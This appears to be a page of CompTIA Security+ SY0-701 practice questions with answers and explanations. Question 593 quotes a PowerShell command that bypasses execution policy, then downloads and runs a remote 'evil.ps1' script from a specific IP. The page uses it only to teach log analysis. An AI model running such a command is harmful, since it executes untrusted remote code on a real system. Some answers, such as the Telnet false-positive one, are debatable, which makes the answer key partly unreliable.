CompTIA SY0-701 Online Practice Questions and Exam Preparation

CompTIA SY0-701 Online Questions & Answers

• Question 591:

  A security technician determines that no additional patches can be applied to an application and the risks of operating as such must be accepted. Additionally, only a limited number of network services should utilize the application.

  Which of the following best describes this type of mitigation?

  A. Patching
  B. Segmentation
  C. Isolation
  D. Monitoring
  C. Isolation

  ---

  Explanation

  The best answer is C. Isolation. The question describes an application that can no longer be patched, meaning the organization must continue operating it while accepting some risk. To reduce exposure, the application should only be used by a limited number of network services. This points to isolation, which means restricting the application's interaction with the rest of the environment to contain risk. Isolation is commonly used for: legacy systems unsupported applications unpatchable systems high-risk services that must remain operational By isolating the application, the organization limits the paths through which it can be attacked and reduces the chance that a compromise will spread to other systems. Why the other options are incorrect:

  A. PatchingThe question clearly states that no additional patches can be applied.

  B. SegmentationSegmentation is related and often used as a method to isolate systems, but the question asks for the best description of the mitigation approach overall. Since the application is being restricted because it is risky and unpatchable, isolation is the stronger answer.

  D. MonitoringMonitoring helps detect issues but does not directly reduce exposure in the way described. From the SY0-701 perspective, when a vulnerable or unsupported application must remain in use, the preferred mitigation is often to isolate it from the broader environment. Therefore, C is the best answer.

• Question 592:

  A security consultant is working with a client that wants to physically isolate its secure systems.

  Which of the following best describes this architecture?

  A. SDN
  B. Air gapped
  C. Containerized
  D. Highly available
  B. Air gapped

  ---

  Explanation

  An air-gapped system is physically isolated from any other network, meaning it has no direct or indirect connection to the internet or other networks. This architecture is commonly used to protect highly secure systems by ensuring that they are not accessible remotely, thus reducing the risk of unauthorized access or cyberattacks. This approach aligns with the client's goal of physically isolating its secure systems.

• Question 593:

  A security analyst reviews the following endpoint log: powershell -exec bypass -Command " IEX. (New-Object Net.WebClient).

  DownloadString(http://176.30.40.50/evil.ps1 " ) Which of the following logs will help confirm an established connection to IP address 176.30.40.50?

  A. System event logs
  B. EDR logs
  C. Firewall logs
  D. Application logs
  C. Firewall logs

  ---

  Explanation

  The best answer is C. Firewall logs. The PowerShell command shown is suspicious because it uses: -exec bypass to bypass PowerShell execution policy IEX (Invoke-Expression) to execute downloaded content in memory

  Net.WebClient.DownloadString() to retrieve a remote script from the IP address 176.30.40.50 The question asks which logs will help confirm an established connection to that IP address. The best source for confirming that network communication actually occurred is firewall logs, because they record allowed and blocked inbound or outbound network connections between systems and remote IP addresses. Why the other options are incorrect:

  A. System event logsThese may show local operating system events, but they are not the best source for confirming a network connection to a specific external IP.

  B. EDR logsEDR logs may show suspicious PowerShell execution and related behavior, and in some environments they may also show network activity. However, when the question specifically asks to confirm an established connection to a particular IP, firewall logs are the most direct and standard answer.

  D. Application logsApplication logs generally track application-specific events and are not the best source for validating outbound network connections to a suspicious IP. From a Security+ perspective, suspicious script execution should be correlated with network logs to validate command-and-control or malware download activity. That makes firewall logs the best choice.

• Question 594:

  An organization has been experiencing issues with deleted network share data and improperly assigned permissions.

  Which of the following would best help track and remediate these issues?

  A. DLP
  B. EDR
  C. FIM
  D. ACL
  C. FIM

  ---

  Explanation

  File Integrity Monitoring (FIM) is the best tool for detecting unauthorized file deletions, modifications, or improper permission changes within network shares. FIM works by creating cryptographic hashes and baselines for protected files or directories and then continuously monitoring for deviations. Any unauthorized deletion, modification, or permission change triggers alerts.

  Security+ SY0-701 identifies FIM as a foundational integrity control used in compliance frameworks (PCI-DSS, HIPAA) and operational security monitoring. Because the organization is experiencing unpredictable changes to shared files and permissions, FIM provides visibility and accountability for who changed what and when.

  DLP (A) prevents data leakage but does not detect permission changes. EDR (B) focuses on endpoint threat behavior, not file integrity on network shares. ACLs (D) define permissions but do not track changes or detect unauthorized modifications.

  Therefore, C: FIM is the correct choice.

• Question 595:

  After reviewing the following vulnerability scanning report: Server:192.168.14.6 Service: Telnet Port: 23 Protocol: TCP Status: Open Severity: High Vulnerability: Use of an insecure network protocol A security analyst performs the following

  test: nmap -p 23 192.168.14.6 -script telnet-encryption PORT STATE SERVICE REASON 23/tcp open telnet syn-ack I telnet encryption: | _ Telnet server supports encryption

  Which of the following would the security analyst conclude for this reported vulnerability?

  A. It is a false positive.
  B. A rescan is required.
  C. It is considered noise.
  D. Compensating controls exist.
  A. It is a false positive.

  ---

  Explanation

  A false positive is a result that indicates a vulnerability or a problem when there is none. In this case, the vulnerability scanning report shows that the telnet service on port 23 is open and uses an insecure network protocol. However, the security analyst performs a test using nmap and a script that checks for telnet encryption support. The result shows that the telnet server supports encryption, which means that the data transmitted between the client and the server can be protected from eavesdropping. Therefore, the reported vulnerability is a false positive and does not reflect the actual security posture of the server. The security analyst should verify the encryption settings of the telnet server and client and ensure that they are configured properly3.

  References:

  3: Telnet Protocol - Can You Encrypt Telnet?

• Question 596:

  Which of the following elements of digital forensics should a company use if it needs to ensure the integrity of evidence?

  A. Preservation
  B. E-discovery
  C. Acquisition
  D. Containment
  A. Preservation

  ---

  Explanation

  Preservation is the process in digital forensics that ensures the integrity of evidence by maintaining it in its original, unaltered state. This involves safeguarding data against modification or tampering throughout the investigation process, ensuring that the evidence remains reliable and admissible in court if needed.

• Question 597:

  A systems administrator wants to prevent users from being able to access data based on their responsibilities. The administrator also wants to apply the required access structure via a simplified format.

  Which of the following should the administrator apply to the site recovery resource group?

  A. RBAC
  B. ACL
  C. SAML
  D. GPO
  A. RBAC

  ---

  Explanation

  RBAC stands for Role-Based Access Control, which is a method of restricting access to data and resources based on the roles or responsibilities of users. RBAC simplifies the management of permissions by assigning roles to users and granting access rights to roles, rather than to individual users. RBAC can help enforce the principle of least privilege and reduce the risk of unauthorized access or data leakage. The other options are not as suitable for the scenario as RBAC, as they either do not prevent access based on responsibilities, or do not apply a simplified format.

  References:

  CompTIA Security+ Study Guide: Exam SY0-701, 9th Edition, page 133

• Question 598:

  Which of the following data recovery strategies will result in a quick recovery at low cost?

  A. Hot
  B. Cold
  C. Manual
  D. Warm
  D. Warm

• Question 599:

  Which of the following tools is best for logging and monitoring in a cloud environment?

  A. IPS
  B. FIM
  C. NAC
  D. SIEM
  D. SIEM

  ---

  Explanation

  A Security Information and Event Management (SIEM) system is best suited for logging and monitoring in a cloud environment. SIEM tools collect, aggregate, and analyze log data from multiple sources within the environment, providing real-time monitoring, alerts, and analysis of security events. This centralized approach helps identify potential security incidents across cloud resources effectively.

• Question 600:

  An employee from the accounting department logs in to the website used for processing the company's payments. After logging in, a new desktop application automatically downloads on the employee's computer and causes the computer to restart.

  Which of the following attacks has occurred?

  A. XSS
  B. Watering hole
  C. Typosquatting
  D. Buffer overflow
  B. Watering hole